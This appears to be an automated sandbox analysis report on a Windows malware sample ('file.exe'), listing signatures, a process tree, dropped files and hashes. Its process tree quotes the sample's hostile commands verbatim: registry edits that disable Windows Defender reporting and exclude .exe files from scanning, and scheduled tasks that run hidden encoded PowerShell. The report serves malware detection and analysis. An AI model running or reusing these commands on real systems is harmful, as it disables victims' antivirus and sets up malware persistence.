Analysis

  • max time kernel
    151s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22/10/2022, 03:28

General

  • Target
    file.exe
  • Size 7.3MB
  • Sample221022-d1b4caadd3
  • SHA256 b1b9db6bb4fe2aaeb66fa8e898ee66526735ce375359518ad01e30686dff5545
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Users\Admin\AppData\Local\Temp\7zSE2A2.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1320
      • C:\Users\Admin\AppData\Local\Temp\7zS3110.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1072
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1520
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1632
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /TN "gGcQCFxzC" /SC once /ST 00:59:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
          4⤵
          • Creates scheduled task(s)
          PID:1716
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /run /I /tn "gGcQCFxzC"
          4⤵
            PID:1540
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /DELETE /F /TN "gGcQCFxzC"
            4⤵
              PID:944
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /CREATE /TN "bbvNaAtUYIeSnOCCvb" /SC once /ST 05:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\vUQpCBvHvRfUOUwCs\XnlBPhovyzAsuke\ybHbrlN.exe\" L6 /site_id 525403 /S" /V1 /F
              4⤵
              • Drops file in Windows directory
              • Creates scheduled task(s)
              PID:1280
      • C:\Windows\SysWOW64\cmd.exe
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:304
        • \??\c:\windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
          2⤵
            PID:1940
          • \??\c:\windows\SysWOW64\reg.exe
            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
            2⤵
              PID:1256
          • \??\c:\windows\SysWOW64\reg.exe
            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
            1⤵
              PID:892
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
              1⤵
                PID:1288
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {6FBFA998-84D9-446B-8A7B-D53DF0426C0D} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
                1⤵
                  PID:988
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1036
                    • C:\Windows\system32\gpupdate.exe
                      "C:\Windows\system32\gpupdate.exe" /force
                      3⤵
                        PID:1740
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                      2⤵
                      • Drops file in System32 directory
                      PID:1580
                  • C:\Windows\system32\gpscript.exe
                    gpscript.exe /RefreshSystemParam
                    1⤵
                      PID:1556
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {EE6F2F69-FD4B-4775-989B-915B78DCF039} S-1-5-18:NT AUTHORITY\System:Service:
                      1⤵
                        PID:652
                        • C:\Users\Admin\AppData\Local\Temp\vUQpCBvHvRfUOUwCs\XnlBPhovyzAsuke\ybHbrlN.exe
                          C:\Users\Admin\AppData\Local\Temp\vUQpCBvHvRfUOUwCs\XnlBPhovyzAsuke\ybHbrlN.exe L6 /site_id 525403 /S
                          2⤵
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          PID:1200
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /CREATE /TN "gzfGCMSCP" /SC once /ST 04:08:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                            3⤵
                            • Creates scheduled task(s)
                            PID:584
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn "gzfGCMSCP"
                            3⤵
                              PID:1356

                        Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

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                              Downloads

                              Install.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\7zS3110.tmp\Install.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\7zS3110.tmp\Install.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\7zSE2A2.tmp\Install.exe
                              • Size 6.3MB
                              • SHA256 ae8e87495270faeb4dfc18f80beb14e6d8397ba7ecd8d107cf958ff892808e25
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\7zSE2A2.tmp\Install.exe
                              • Size 6.3MB
                              • SHA256 ae8e87495270faeb4dfc18f80beb14e6d8397ba7ecd8d107cf958ff892808e25
                              • MD5 SHA1 SHA512 SSDEEP

                              ybHbrlN.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\vUQpCBvHvRfUOUwCs\XnlBPhovyzAsuke\ybHbrlN.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              ybHbrlN.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\vUQpCBvHvRfUOUwCs\XnlBPhovyzAsuke\ybHbrlN.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              590aee7bdd69b59b.customDestinations-ms

                              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                              • Size 7KB
                              • SHA256 ff218bb084d0c9e7bbb306dd0e21d827d7f42f36e4275a83b45165ac7b4f1702
                              • MD5 SHA1 SHA512 SSDEEP

                              gpt.ini

                              • Path C:\Windows\system32\GroupPolicy\gpt.ini
                              • Size 268B
                              • SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
                              • MD5 SHA1 SHA512

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zS3110.tmp\Install.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zS3110.tmp\Install.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zS3110.tmp\Install.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zS3110.tmp\Install.exe
                              • Size 6.8MB
                              • SHA256 5fab89b4287276bcea48c02a0871717ba8edd9981ca11f21c98e25796976e1cc
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zSE2A2.tmp\Install.exe
                              • Size 6.3MB
                              • SHA256 ae8e87495270faeb4dfc18f80beb14e6d8397ba7ecd8d107cf958ff892808e25
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zSE2A2.tmp\Install.exe
                              • Size 6.3MB
                              • SHA256 ae8e87495270faeb4dfc18f80beb14e6d8397ba7ecd8d107cf958ff892808e25
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zSE2A2.tmp\Install.exe
                              • Size 6.3MB
                              • SHA256 ae8e87495270faeb4dfc18f80beb14e6d8397ba7ecd8d107cf958ff892808e25
                              • MD5 SHA1 SHA512 SSDEEP

                              Install.exe

                              • Path \Users\Admin\AppData\Local\Temp\7zSE2A2.tmp\Install.exe
                              • Size 6.3MB
                              • SHA256 ae8e87495270faeb4dfc18f80beb14e6d8397ba7ecd8d107cf958ff892808e25
                              • MD5 SHA1 SHA512 SSDEEP

                              memory/884-54-0x0000000076411000-0x0000000076413000-memory.dmp

                              memory/1036-98-0x0000000002884000-0x0000000002887000-memory.dmp

                              memory/1036-100-0x0000000002884000-0x0000000002887000-memory.dmp

                              memory/1036-101-0x000000000288B000-0x00000000028AA000-memory.dmp

                              memory/1036-97-0x000007FEF2D70000-0x000007FEF38CD000-memory.dmp

                              memory/1036-96-0x000007FEF3990000-0x000007FEF43B3000-memory.dmp

                              memory/1036-95-0x000007FEFBFE1000-0x000007FEFBFE3000-memory.dmp

                              memory/1284-71-0x0000000010000000-0x0000000011000000-memory.dmp